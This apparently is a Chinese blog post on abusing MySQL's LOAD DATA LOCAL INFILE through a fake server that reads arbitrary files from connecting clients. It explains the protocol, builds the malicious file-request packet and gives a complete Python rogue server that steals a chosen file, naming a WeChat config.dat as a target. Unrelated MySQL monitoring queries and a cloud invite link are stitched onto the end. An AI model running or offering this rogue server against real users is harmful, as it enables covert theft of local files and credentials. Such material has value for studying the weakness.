伪造一个 MySQL 的服务端,当有客户端连接上这个假服务端的时候,就可以任意读取客户端的指定文件。
use test;
load data local infile "D:/temp/Client.txt" into table testtable; # 此处文件路径可自定义
-- load data infile "D:/temp/Client.txt" into table TestTable; # 读取Server端文件
-- load data local infile "D:/temp/Client.txt" into table TestTable; # 读取Client端文件
--secure-file-priv
,需要修改MySQL配置文件,添加如下内容并重启MySQL[mysqld]
secure-file-priv=
Wireshak抓包可以看到正常的执行流程如下:
Load data local infile
请求从上面交互过程可以看出,在Client向Server发起查询后,Server会返回一个Response TABULAR
的响应包。而如果在这个数据包中指定文件路径,就可以读取Client相应的文件。实际上Server可以在回复任何Client端的请求时返回Response TABULAR
响应包,而不仅仅是在Client发起Load data local infile
后。
Security Considerations for LOAD DATA LOCAL:A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.
Response TABULAR
数据包部分内容如下:
13
,文件名长度+100 00 01
,数据包序号fb
,数据包类型44 3a 2f 74 65 6d 70 2f 43 6c 69 65 6e 74 2e 74 78 74
,文件名13 00 00 01 fb 44 3a 2f 74 65 6d 70 2f 43 6c 69 65 6e 74 2e 74 78 74
# chr(len(filename)+1) + "\x00\x00\x01\xfb" + filename
filename = "D:/temp/Client.txt"
evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename) # 恶意响应包
C:\Users\<目标用户名>\Documents\WeChat Files\All Users\config\config.dat
C:\Windows\PFRO.log
文件中找到,因此利用难度较大。这里仅作演示以抛砖引玉。# coding=utf-8
import socket
import os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 3306
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("", port))
server.listen(5)
def get_data(filename, client, addr):
base_path = os.path.abspath('.') + "/log/" + addr[0]
if not os.path.exists(base_path):
os.makedirs(base_path)
evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename) # 恶意响应包
client.sendall(evil_response)
file_data = client.recv(999999)
print(file_data)
with open(base_path + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:
f.write(file_data)
f.close()
while True:
# 建立客户端连接
client, addr = server.accept()
print("连接地址: %s" % str(addr))
# 返回版本信息
version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
client.sendall(version_text)
try:
# 客户端请求信息
client.recv(9999)
except Exception as e:
print(e)
# Response OK
verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
client.sendall(verification)
try:
# SET NAMES utf8mb4
client.recv(9999)
except Exception as e:
print(e)
# Response TABULAR
filename = "D:/temp/Client.txt"
get_data(filename, client, addr)
client.close()
# 统计所有访问过的表次数:库名,表名,访问次数
select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc;
# 查看所有正在连接的用户详细信息:连接的用户(连接的用户名,连接的ip),当前库,用户状态(Sleep就是空闲),现在在执行的sql语句,上一次执行的sql语句,已经建立连接的时间(秒)
SELECT user,db,command,current_statement,last_statement,time FROM sys.session;
# 查看所有曾连接数据库的IP,总连接次数
SELECT host,total_connections FROM sys.host_summary
我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=3ee7gar9pm804